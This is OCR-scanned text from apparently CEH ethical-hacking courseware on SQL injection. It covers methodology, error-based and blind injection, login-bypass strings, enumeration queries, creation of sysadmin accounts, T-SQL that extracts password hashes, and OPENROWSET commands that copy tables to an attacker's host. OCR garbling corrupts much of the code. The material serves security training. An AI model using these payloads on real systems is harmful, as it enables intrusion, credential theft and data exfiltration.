SQL Injection Methodology


The following are the various stages of SQL injection methodology: a Information gathering: The attacker first gathers all the required information he or she needs before the SQL injection attack. a SQL injection vulnerability detection: Usually the attacker's job is to identify the vulnerability of the system so that he or she can exploit the vulnerability to launch attacks. Q Launch SQL injection attack: W here ever there is weak authentication, that will be the main source for the attacker to enter into the network and finally by exploiting the authentication rules, the attacker injects the malicious code of SQL injection. e Extract the data: The attacker gets access to the network as a privileged user and will be able to extract the sensitive data from the network. e Interact with the operating system: Once he or she gains access, the attacker tries to escalate his or her privileges so that he or she can interact with the operating system. 9 Compromise the system: The attacker can modify, delete the data, or create new accounts as a privileged user depending on the purpose of the attack. Again, from there,

Module

14 Page 2056

Ethical Hacking and Countermeasures Copyright by EC-C0l1nCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

the attacker can log in to the other associated networks. He or she installs Trojans and other keyloggers, etc.

Module 14 Page 2057

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

SQL Injection Methodology


(Contd)
Information Gathering
Extract DB name, version, users, output mechanism, DB type, user privilege level, and OS interaction level

rg u
Urt.fi* | ttk.ul N mIm

SQL Injection Vulnerability Detection


Enter('),(;),(-), AND, and OR in input field An error page means vulnerable

List all input fields, hidden fields, and post requests

Attempt to inject codes into the input fields to generate an error

Perform blind (W ait for Delay) SQL injection

Perform error based SQL injection

Perform union based SQL injection

L...

..............................
Launch SQL Injection Attacks

Penetrate a d d itio n a l machines on th e n e tw o rk , install Trojans and p la n t keyloggers

Extract table names, column name, and table data

Compromise the Network

Interact with the OS

Extract the Data

Copyright by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

SQL Injection Methodology (Contd)


In the information gathering stage, attackers try to gather information about the target database such as database name, version, users, output mechanism, DB type, user privilege level, and OS interaction level. Once the information gathered, the attacker then tries to look for SQL vulnerabilities in the target web application. For that, he or she lists all input fields, hidden fields, and post requests on the website and then tries to inject codes into the input fields to generate an error. The attacker then tries to carry out different types of SQL injection attacks such as error-based SQL injection, union-based SQL injection, blind (W ait for Delay) SQL injection, etc. Once the attacker succeeds in performing a SQL injection attack, he or she then tries to extract table names, column names, and table data from the target database. Depending upon the aim of the attacker, he or she may interact with the OS to extract OS details and application passwords, execute commands, access system files, etc. The attacker can go further to compromise the whole target network by installing Trojans and planting keyloggers.

Module 14 Page 2058

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Copyright by EC-ClllCil. All Rights Reserved. Reproduction is Strictly Prohibited.

M odule Flow
Prior to this, we have discussed the SQL injection methodology. Now we will discuss

advanced SQL injection. SQL Injection Concepts * Advanced SQL Injection

Testing for SQL Injection

SQL Injection Tools

Types of SQL Injection g

Evasion Techniques

) :--1 Blind SQL Injection

y
y

J
Countermeasures

SQL Injection Methodology This section explains each step involved in advanced SQL injection.

Module 14 Page 2059

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Information Gathering
Error Messages
Error messages are essential for

CEH
Urti*W itkH il lUckw

Database Tvpes

Privilege Level

OS Interaction

SQL Query

Inform ation Gathering


Understanding the underlying SQL query will allow the attacker to craft correct SQL injection statements. Error messages are essential for extracting information from the database. Depending on the type of errors found, you can vary the attack techniques. Information gathering is also known as the survey and assess method used by the attacker to determine complete information of the potential target. Attackers find out what kind of database is used, what version is being used, user privilege levels, and various other things. The attacker usually gathers information at various levels starting with identification of the database type being used and the database search engine. Different databases require different SQL syntax. Identify the database engine used by the server. Identification of the privilege levels is one more step as there is chance of gaining the highest privilege as an authentic user. Then obtain the password and compromise the system. Interacting with the operating system through command shell execution allows you to compromise the entire network.

Module 14 Page 2060

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Extracting Inform ation through Error M essa g es


HAVING command allows to further define a query based on the "grouped" fields The error message will tell us which columns have not been grouped
' group by columnnames having 1=1

Try to insert strings into numeric fields; the error messages will show the data that could not get converted
union select 1,1,text',1,1,1 - union select 1,1, bigint,1,1,1 -

Use time delays or error signatures to determine extract information


if condition waitfor delay '0:0:5'

union select if( condition , benchmark (100000, shalftest')), 'false' ),1,1,1,1;

Copyright by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

Extracting Inform ation through Error Messages


Attackers may use following the ways to extract information through error messages:

G ro u p in g E rro r
o The HAVING command allows further defining a query based on the "grouped" fields. The error message will tell you which columns have not been grouped: 'group by columnnames h aving 1=1 - -

V Type M ism a tc h
Try to insert strings into numeric fields; the error messages will show you the data that could not get converted: ' union s e le c t 1 , 1 , ' t e x t ', 1 , 1 , 1 - 1 union s e le c t 1 ,1 , b i g i n t , 1 ,1 ,1 - -

, B lind In je c tio n
> if The attacker uses time delays or error signatures to determine extract information: c o n d itio n w a it f o r d e la y '0 :0 :5 ' --

Module 14 Page 2061

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

1; union s e le c t ) , 1 ,1 ,1 ,1 ;

if (

c o n d itio n

benchmark

(100000,

s h a l( ' t e s t ' )) ,

'f a ls e '

Module 14 Page 2062

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Understanding SQL Query


r
In je c tio n s Most injections will land in the middle of a SELECT statement. In a SELECT clause we almost always end up in the W HERE section.

r
S e le c t S ta te m e n t SELEC T * FROM t a b l e WHERE x = ' n o r m a l i n p u t ' group by x having 1=1 -- GROUP B Y x H A VIN G x = y

ORDER x vlVL r jI \ RY O1 A

D e te rm in in g D a ta b a se En g in e T yp e

D e te rm in in g a SELEC T Q u e ry S tru c tu re

W Mostly the error messages will show you what D Bengine you are working with O D B C errors will display database type as part of the driver information t> If you do not receive any O D B C error message, make an educated guess based on the Operating System and Web Server

Try to replicate an error free navigation Could be as simple as ' and '1' = '1 Or ' and '1'

= '2

Generate specific errors Determine table and column names 1group by columnnames having 1=1 Do we need parenthesis? Is it a subquery?

-Copyright by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

Understanding SQL Query


To perform SQL injection, you should understand the query in order to know what part of the SQL query you can modify. The query modification can land anywhere in the query. It can be part of a SELECT, UPDATE, EXEC, INSERT, DELETE, or CREATE statement or subquery.

In je c tio n s
Most injections will land in the middle of a SELECT statement. In a SELECT clause, we almost always end up in the W HERE section. Select Statem ent SELECT * FROM ta b le WHERE x = ' n o rm a lin p u t' group by x h avin g 1=1 - GROUP BY x HAVING x = y ORDER BY x Determining Database Engine Type Most error messages will show you what database engine you are working with: a 9 ODBC errors will display database type as part of the driver information If you do not receive any ODBC error message, make an educated guess based on the operating system and web server Determining a SELECT Query Structure
Module 14 Page 2063 Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

To understand the SQL query, try to replicate error-free navigation as follows: a a Q Q Could be as simple as ' and '1' = '1 or ' and T = '2 Generate specific errors Determine table and column names ,group by columnnames having 1=1 Do we need parentheses? Is it a subquery?

This gives specific types of errors that give you more information about the table name and parameters in the query.

Module 14 Page 2064

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

SQL Injection
Try these at website login forms

MD5 Hash Password e You can union results with a known password and MD5 hash of supplied password The Web Application will compare your password and the supplied MD5 hash instead of MD5 from the database

o
' UNION SELECT 1, 'anotheruser' , 'doesnt matter', 1

Bypassing MDS Hash Check Example

........................................

Username : admin Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin' 81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

'81dc9bdbS2d04dc20036dbd8313ed055

/Copyright by EC-CMICil. All Rights KeServei R^production Is Strictly Prohibited.

Bypass Website Logins Using SQL Injection


Attackers take complete advantage of vulnerabilities. SQL commands and userprovided parameters are chained together by programmers. By utilizing this feature, the attacker executes arbitrary SQL queries and commands on the backend database server through the web application. Bypassing login scripts: Try the following SQL injection strings to bypass login scripts: admin' -admin' # admin'/ * ' o r 1=1-1 o r 1=1# ' o r 1=1/* ') ') or '1 '= '1-or ( '1 '= '1 -

Module 14 Page 2065

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

MD5 Hash Password You can union results with a known password and MD5 hash of a supplied password. The web application will compare your password and the supplied MD5 hash instead of MD5 from the database. Bypassing MD5 Hash Check Example Username : admin Password : 1234 ' AND 1=0 UNION ALL SELECT , ad m in', 181dc9bdb52d04dc20036dbd8313ed055 81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234) Login as different User: ' UNION SELECT 1, ' a n o th e ru s e r' , 'd o esn t m a t t e r ', 1--

Module 14 Page 2066

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

D atabase, Table, and Colum n Enum eration


Identify User Level Privilege
There are several SQL built-in scalar functions that will work in most SQL implementations: user or current_user, session_user, system_user ' and 1 in (s e le c t user ) i f user =dbo w a itfo r d elay '0 :0 :5 ' * union s e le c t i f ( u s e r() lik e ' root0%', benchmark(50000, s h a l( ' t e s t ' ) ) , ,f a ls e ' ) ;

C EH

DB Administrators

Default administrator accounts include sa, system, sys, dba, admin, root and many others The dbo is a user that has implied permissions to perform all activities in the database.

Any object created by any member of the sysadmin fixed server role belongs to dbo automatically

J __________________________ Discover DB Structure

,1

Column Enumeration in DB
MS SQL DB2 Postgres
SELECT attnvan, *c c n u w fr c o p g _cla ss , p g _arcrib u r WHERE relname t a ile n a s * AND p g _ c la s s .o id = a trr e iid AND attnum > 0

Determine table and column names group by colximnnames having 1=1 -Discover column name types ' union select sum(columnname ) from tablename -Enumerate user defined tables ' and 1 in (s e le c t min(name) from sysobjects where xtype = ' U' and name > . ' )

3EI.CCT nut TROK y.column. WXERE SELECT * FROM sysCAC . COlUBRS WHERE cabnanv* ' Z4t>2+nd3& ' sp_columns tablenaxr.e

MySQL
show columns f r nr. ta b le n a ra e

Oracle
SELECT * FROM all_tab_colum ns WHERE , c able r.as^e= * tab l& a a ise

Copyright by EC-GlUIICil. All Rights Reserved. Reproduction is Strictly Prohibited.

Egg Database, Table, and Column Enumeration


The attacker can use the following techniques to enumerate databases, tables, and columns. Identify User Level Privilege There are several SQL built-in scalar functions that will work in most SQL implementations and show you current user, session user, and system user as follows: u ser o r c u r r e n t _ u s e r , s e s s io n _ u s e r, system _user (s e le c t u ser ) -'0 :0 :5 'ro o t@ % ', benchmark(50000,s h a l ( ' t e s t ' ) ) ,

1 and 1 in

i f u ser = 'dbo' w a it f o r d e la y 1 union s e le c t i f ( ' fa ls e ' ) ; DB Administrators u s e r () lik e

Default administrator accounts include sa, system, sys, dba, admin, root, and many others. The DBO is a user who has implied permissions to perform all activities in the database. Any object created by any member of the sysadmin fixed server role belongs to dbo automatically. Discover DB Structure

Module 14 Page 2067

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

You can discover DB structure as follows: 9 9 9 Determine table and column names: 1group by columnnames having 1=1 Discover column name ty p e s :1union select sum(columnname ) from tablename Enumerate user defined tables: ' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') Column Enumeration in DB You can perform column enumeration in the DB as follows: 9 M S SQL: SELECT name FROM syscolumns WHERE id = (SELECT id FROM s y s o b je c ts WHERE name = 'tablenam e ') sp_columns tablename 9 9 9 9 MySQL: show columns from tablename Oracle: SELECT *FROM all_tab_colum ns WHERE table_nam e=' tablename 1 D B 2 :SELECT * FROM s y s c a t . columns WHERE tabname= 'tablenam e ' Postgres:SELECT attnum ,attnam e from p g _ c la s s , p g _ a ttr ib u te WHERE relname= 'tablenam e ' AND p g _ c la s s . o id = a t t r e lid AND attnum > 0

Module 14 Page 2068

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

A dvanced E num eration


MySQL
mysql.user mysql.host mysql.db

CEH
MS SQL Server
sysobjects syscolumns

SYS.USER_OBJECTS SYS.TAB, SYS.USER_TABLES SYS.USER_VIEWS SYS.ALL_TABLES SYS.USER_TAB_COLUMNS SYS.USER CATALOG

S MsysACEs MsysObjects tt MsysQueries B MsysRelationships

t t

systypes sysdatabases

r a
Tables and columns enumeration in one query

.trrn '

t\

SQL Server

' union se le c t 0, sy so b je c ts.name + : ' + syscolumns.name + + systypes.name, 1 , 1 , ' 1 ' , 1 , 1 , 1 , 1 , 1 from sy so b jects, syscolumns, systypes where sy so b je c ts.xtype = U' A N D sy so b je c ts. id syscolumns. id A N D syscolumns. xtype = sy sty p es.xtype Different databases in Server

Database Enumeration

' and 1 in (s e le c t min (name ) from

mas t e r . dbo. sysda tabases where name > . ' )

File location of databases


1 and 1 in (s e le c t min ( filename ) from master, dbo. sysdatabases where filem uas > '. )

Copyright by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.

Advanced Enumeration
Attackers use advanced enumeration techniques for information gathering. The information gathered is again used to for gaining unauthorized access. Password cracking methods like calculated hashes and precomputed hashes with the help of various tools like John the Ripper, Cain & Abel, Brutus, cURL, etc. crack passwords. Attackers use buffer overflows for determining the various vulnerabilities of a system or network. The following are some of the metadata tables for different databases: 1. Advanced enumeration through Oracle Q SYS.USER_OBJECTS

e e e e

SYS.TAB, SYS.USER_TEBLES SYS.USER_VIEWS SYS.ALL_TABLES SYS.USER_TAB_COLUMNS SYS.USER_CATALOG

2. Advanced enumeration through M S Access a MsysACEs


Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Module 14 Page 2069

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

e Q

MsysObjects MsysQueries MsysRelationships

3. Advanced enumeration through SQI Q Q e mysql.user mysql.host mysql.db

4. Advanced enumeration through Oracle MySQL Q e 9 sysobjects syscolumns systypes sysdatabases

Tables and columns enumeration in one query 'un io n s e le c t 0, sy sob j e c t s . name + ' : ' + syscolum ns. name + ' : + s y s ty p e s . name, 1, 1, ' 1 ' , 1, 1, 1, 1, 1 from s y s o b je c ts , syscolum ns, s ystyp e s where s y s o b je c t s . xtype = 'U ' AND s y s o b je c t s . id = syscolum ns. id AND syscolum ns. xtype = s y s ty p e s . xtype -Database Enumeration D if f e r e n t d atabases in S e r v e r : 1 and m a s te r. dbo. sysd atab ases where name '

) -

in

( s e le c t

min (name

from

F i l e lo c a t io n o f d atab ases: and 1 in ( s e le c t m in (file n a m e ) from m a s te r. dbo. sysd atab ases where file n a m e > . ) -

Module 14 Page 2070

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Features of Different DBMSs


MySQL String Concatenation Comments
concat(,) concat_ws(delim,) ~ and /**/and #

CEH

MSSQL
. + ..

M S Access
..

Oracle

DB2
concat" > ll+.l II

PostgreSQL

" II"

" II"
- and/* No - and /*

- and /*

Request Union

union

union and ;

union

union

union

union and;

Sub-requests Stored Procedures


Availability of information_schem a or its Analogs

v.4.1 >

Yes

No

Yes

Yes

Yes

No

Yes

No

Yes

No

Yes

v.5.0 >

Yes

Yes

Yes

Yes

Yes

Example (MySQL): SELECT * from table where id = 1 union select 1,2,3 Example (PostgreSQL): SELECT * from table where id = 1; select 1,2,3 Example (Oracle): SELECT * from table where id = 1 union select null,null,null from sys.dual
Copyright by EG-GlOOCil. All Rights Reserved. Reproduction Is Strictly Prohibited.

Features of D ifferent DBMSs


The following are the features of comparison tables for different databases:
MSSQL
1l+ l1

M ySQ L

MS Access
&

Oracle
"

DB2
" concat II ll+ ll 1

PostgreSQL

String Concatenation Comments

concat(,) concat_ws(delim,)

" II"

, II '
and /* No and /* and /*

- and /**/ and 8

Request

Union

union

union and;

union

union

union

union and;

Sub-requests Stored Procedures


Availability of information_schem a or its Analogs

v.4.1 > =

Yes

No

Yes

Yes

Yes

No

Yes

No

Yes

No

Yes

v.5.0 > =

Yes

Yes

Yes

Yes

Yes

TABLE 14.5: Features of Different DBMSs

Module 14 Page 2071

Ethical Hacking and Countermeasures Copyright by EC-C0l1nCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

9 a e

Example (MySQL): SELECT * from table where id = 1 union select 1,2,3 Example (PostgreSQL): SELECT * from table where id = 1; select 1,2,3 Example (Oracle): SELECT * from table where id = 1 union select null,null,null from sys.dual

Module 14 Page 2072

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Creating Database Accounts CEH


Oracle M icrosoft SQL Server
exec sp_addlogin ,victor', 'Passl23' CREATE USER victor IDENTIFIED BY Passl23 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users; GRANT CONNECT TO victor; GRANT RESOURCE TO victor; 3 A fk

exec sp_addsrvrolemember , victor', 'sysadmin'

M ySQ L
INSERT INTO mysql.user (user, host, password) VALUES ( ,v i c t o r ', 'localhost', PASSWORD('Passl23'))

M icrosoft Access
CREATE USER victor IDENTIFIED BY 'Passl23'

Copyright by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.

Creating Database Accounts


SQL Ser

M icrosoft SQL s e rv e r
You can create database accounts in Microsoft SQL server as follows: Click Start, point to Programs, point to Microsoft SQL Server, and then click Enterprise Manager. In SQL Server Enterprise Manager, expand Microsoft SQL Servers, expand SQL Server Group, expand <SQL cluster name>, expand Security, right-click Logins, and then click New Login. In the SQL Server Login Properties New Login dialog box, on the General tab, in the Name box, type <domain name>\<account name>, and then click OK. Repeat this procedure for all remaining accounts you need to create. exec sp_ad d lo g in 1 v ic t o r ', 'P a s s l2 3 ' 'sysad m in'

exec sp addsrvrolemember ' v i c t o r ' ,

Module 14 Page 2073

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

MySQL
You can create database accounts in MySQL as follows: 9 Log in as the root user.

Q mysql -u root -p Q Press Enter and type the root password when prompted.

Q mysql-uroot-p<password> Q Just replace <password> with the root user password. Q Then, at the mysql prompt, create the desired database, e 9 9 Create database testing. Grant all on testing.* to 'tester'(g)'localhost' identified by 'password'; This assumes that you are working on the machine where the database is located. Also, replace 'password' with the password you wish to use. INSERT INTO m ysq l.u se r (u ser, h o st, password) VALUES ( , v i c t o r ' , 'lo c a l h o s t ', PASSWORD( ' P a s s l2 3 ' ) )

O ra cle
--- To create a database account for Oracle, do the following: e Click the Database Account sub tab under the Administration Account screen opens. e 9 Click Create. The Create Database Account screen opens. Enter values in the following fields: User Name: Click the Search icon and enter search criteria for the Oracle LSH user for whom you are creating a database account. Database Account Name: Enter a user name for the database account.The text you enter is stored in uppercase. Password: Enter a password of 8 characters or more for the definer to use with the database account. e Confirm Password: Reenter the password. tab.The Database

Click Apply. The system returns you to the Database Account screen. CREATE USER v i c t o r ID EN T IFIED BY Passl23 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE u s e rs ; GRANT CONNECT TO v i c t o r ; GRANT RESOURCE TO v i c t o r ;

Module 14 Page 2074

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

M icrosoft A ccess
lfc , Q Q Q You can create database accounts in Microsoft Access: Click the New Button image on the toolbar. In the New File task pane, under Templates, click M y Computer. On the Databases tab, click the icon for the kind of database you want to create, and then click OK. Q In the File New Database dialog box, specify a name and location for the database, and then click Create. e Follow the instructions in the Database Wizard. CREATE USER v i c t o r ID EN T IFIED BY 'P a s s l2 3 '

Module 14 Page 2075

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Password Grabbing
Grabbing user name and D a ta b a se User Name John Rebecca T-SQL Dennis Password asd@123 qwertl23 pass@321

C EH
passwords from a User Defined table

set

b e g i n d e c l a r e Q v a r v a r c h a r (8 0 0 0 ) @ v a r = 1: ' s e l e c t @ v a r= @ v a r+ 1 1+ l o g in + ' / ' + p a s s w o rd + w h e re l o g in > @ v a r s e l e c t (s e le c t v a r fr o m @ var a s v a r in t o

fro m

u sers

tem p e n d --

and 1 in

tem p )

A p p lic a tio n A tta c k e r In te rn e t


Copyright by EG-GlOOCil. All Rights Reserved. Reproduction is Strictly Prohibited.

Password Grabbing
Attackers grab passwords through various methods. The following is the query used for password grabbing. Once the password is grabbed, the attacker might destroy the stay or steal it. At times, attackers might even succeed in escalating privileges up to the admin level. ; b eg in d e c la re @var v a r c h a r (8000) set @var=1: ' s e le c t @var=@var+1+ login+ 1/ ' +password+ from u se rs where lo g in > @var s e le c t @var as v a r in t o temp end -' and 1 in ( s e le c t v a r from tem p)--

1 ; drop ta b le temp Grabbing user names and passwords from a user defined table:
User Name John
R eb ecca Dennis

Password asd@123
q w e r tl2 3 p a ss@ 3 2 1

TA BLE 14.6: Passw ord Grabbing

Module 14 Page 2076

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Grabbing SQL Server Hashes


The hashes are extracted using
SELECT password FROM m aster..sysxlogins

CEH
UrtifM tu>l IlM kM

SQL query
SELECT name, password FROM sysxlogins

We then hex each hash


begin 0charvalue=' Ox , @i=l, @length=datalength (@binval\1e) , 0hexstring = ' 0123456789ABCDEF* w hile (0i<=0length) BEGIN declare 0tempint in t , 0f i r s t i n t in t , Qsecondint in t s e le c t 0tempint=CONVERT (i n t ,SUBSTRING( 0binvalue, 0i , 1)) s e le c t 0firstint-FLOOR (0tempint/16) s e le c t 0 seco n dint0 tempint (0 firs tin t* 1 6 ) s e le c t
0 charvalue- 0 charval\ 1e

To display the hashes through an error message, convert hashes Hex concatenate Password field requires dba access With lower privileges you can still recover user names and brute force the password SQL server hash sample
0 *0 1 0 0 3 4 7 6 7 D 5 C 0 C FA 5 F D C A 2 8 C 4 A 5 6085E65E882E71C B0ED 2503412FD 5 406U 9 FFF0 4 12 9 A 1 D 7 2 E7 C 3 1 S4 F7 2 8 4 A 7 F3 A

M
V

vS/
' and ' and ' and

Extract hashes through error messages


1 in (s e le c t x from temp) 1 in (s e le c t substring (x, 1 in (s e le c t substring (x, 256, 256) from temp) 512, 256) from temp)

SUBSTRING (0 h e x s trin g ,0 firs tin t+ l,1) + SUBSTRING (0hexstring, 0secondint+l, 1) s e le c t 0i=0i+l END

And then we just cycle through all passwords

drop tab le temp

Copyright by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.

Grabbing SQL Server Hashes


Some databases store user IDs and passwords in table called sysxlogins. An attacker tries extracting hashes through error messages. The attacker converts the hashes into hexadecimal format, which were previously in binary code. Once the attacker is done with the conversion process, the hashes will be displayed as error messages. If the Password field requires DBO access with lower privileges you can still recover user names and brute force the password. Q SQL query Q Q SELECT name, password FROM sysxlogins To display the hashes through an error message, convert hashes >Hex > concatenate Q Q Password field requires dbo access With lower privileges you can still recover user names and brute force the password

SQL server hash sample 0x0100347 67D5C0CFA5FDCA28C4A56085E65E882E71CB0ED2503412FD54D6119FFF0412 9A1D72E7C3194F7284A7F3A

Module 14 Page 2077

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Extract hashes through error messages: and 1 in and 1 in ' ' and 1 in ( s e le c t x from temp) -( s e le c t s u b s trin g (x, ( s e le c t s u b s trin g (x, 256, 256) from temp) 512, 256) from temp) ---

drop ta b le temp --

The hashes are extracted using: SELECT password FROM m a s te r. . s y s x lo g in s You then hex each hash: b egin @ charvalue= ' Ox' , @ i=l, @ le n g th = d a ta le n g th (@ b in v a lu e ),

Q h exstring = ' 0123456789ABCDEF' w h ile (@i<=@length) BEGIN

d e c la re @tempint i n t , Q fir s t in t in t , secondint i n t

s e le c t @tempint=CONVERT (in t ,S U B S T R IN G (0 b in v a lu e ,@ i,l)) s e le c t @ firstin t= F L 0 0 R (@tempint/16) s e le c t 0secondint=@tem pint (0 f i r s t i n t * 16) s e le c t 0charvalue= 0charvalu e + SUBSTRING (0 h e x s tr in g , 0 f ir s t in t + 1 ,1) + SUBSTRING (0 h e x s trin g , 0 s e co n d in t+ l, 1) s e le c t 0i= 0i+ l END

And then you just cycle through all passwords.

Module 14 Page 2078

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

'; begin declare 0var v a r c h a r (8000), 0xdatel datetime, Sbinvalue v a r b i n a r y (255), @charvalue v a r c h a r (255), 0i int, length int, 0hexstring char(16) set 0var=': select 0xdatel=(select min(xdatel) from m a s t e r .d b o .sysxlogins where password is not null) begin while 0xdatel <= (select max(xdatel) from m a ster.d b o .sysxlogins where password is not null) begin select 0binvalue=(select password from m a s t e r .d b o .sysxlogins where xdatel=0xdatel), 0charvalue = ,Ox', 0i=l, 01ength=datalength(0binvalue), hexstring = '0123456789ABCDEF' while (0i<=01ength) begin declare 0tempint int, 0firstint int, 0secondint int select 0tempint=CONVERT(int, SUBSTRING(0binvalue,0i,1)) select 0firstint=FLOOR(@tempint/16) select 0secondint=0tempint - (0firstint*16) select 0charvalue=0charvalue + SUBSTRING (0hexstring,0firstint+l,1) + SUBSTRING (0hexstring, 0secondint+l, 1) select 0i=0i+l end select 0var=0var+' I '+name+'/'+0charvalue from master.dbo.sysxlogins where xdatel=0xdatel select 0xdatel = (select isnull(min(xdatel),g e t d a t e ()) from m a ster..sysxlogins where xdatel>0xdatel and password is not null) end select 0var as x into temp end end

Copyright by EG-G(ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.

Extracting SQL Hashes (In a Single Statement)


The following statement is used to extract SQL hashes: begin d e c la re @var v a r c h a r (8000), x datel d atetim e , @ binvalue v a r b in a r y (2 5 5 ), 0 ch arvalu e v a r c h a r (2 5 5 ), 0 i i n t , length i n t , @ hexstring ch ar(1 6 ) set @ v a r= ':' s e le c t 0 x d a te l= (s e le c t m in (x d a te l) from m a s te r. dbo. s y s x lo g in s where password i s not n u ll) begin w h ile x datel < = ( s e le c t m ax(xd atel) from m a s te r. dbo. s y s x lo g in s where password i s not n u ll) begin s e le c t @ b in va lu e = (se le ct password from m a ste r. dbo. s y s x lo g in s where xdatel= @ xdatel) , ch arvalu e = 1O x', 0 i= l, @ le n g th = d a tale n g th (@ b in valu e ), @ hexstring = ' 0123456789ABCDEF' w h ile (0i<=01ength) begin d e c la re 0tempint in t, 0 fir s tin t in t, @secondint in t s e le c t @tempint=CONVERT(int, SUBSTRING(@ b in v a lu e ,0 i,1 )) s e le c t 0 firstint= FLO O R (0 tem p in t/1 6 ) s e le c t 0secondint=0tem pint - ( 0 f ir s t in t * 1 6 ) s e le c t 0charvalue= 0charvalue + SUBSTRING ( 0 h e x s t r i n g , 0 f i r s t i n t + l, 1) + SUBSTRING (0 h e x strin g , 0 se co n d in t+ l, 1) s e le c t 0i= 0i+ l end s e le c t 0var=0var+' I ' +name+' / ' +0charvalue from m a s te r. dbo. s y s x lo g in s where x d atel= 0 x d atel s e le c t 0x datel = (s e le c t i s n u l l ( m i n (x d a t e l) , g e td a te ( ) ) from m a s te r. . s y s x lo g in s where x datel> 0 x datel and password i s not n u ll) end s e le c t 0var as x in to temp end end --

Module 14 Page 2079

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Transfer D atabase to Attacker's M achine


SQL Server can be linked back to the attacker's DB by using OPENROWSET DB Structure is replicated and data is transferred. This can be accomplished by connecting to a remote machine on port 80 ;insert into OPENROWSET ('SQLoledb , uid=sa;pwd=Passl23;Ne twork=DBMSSOCN;Address=myIP,80;1, ,select * from mydatabase..hacked_sysdatabases1) select * from master.dbo.sysdatabases

'; insert into OPENROWSET(,SQLoledb' , uid=sa;pwd=Pass123;Network =DBMSSOCN;Address=myIP,80;', ,select * from mydatabase.. tablel') select * from database..tablel

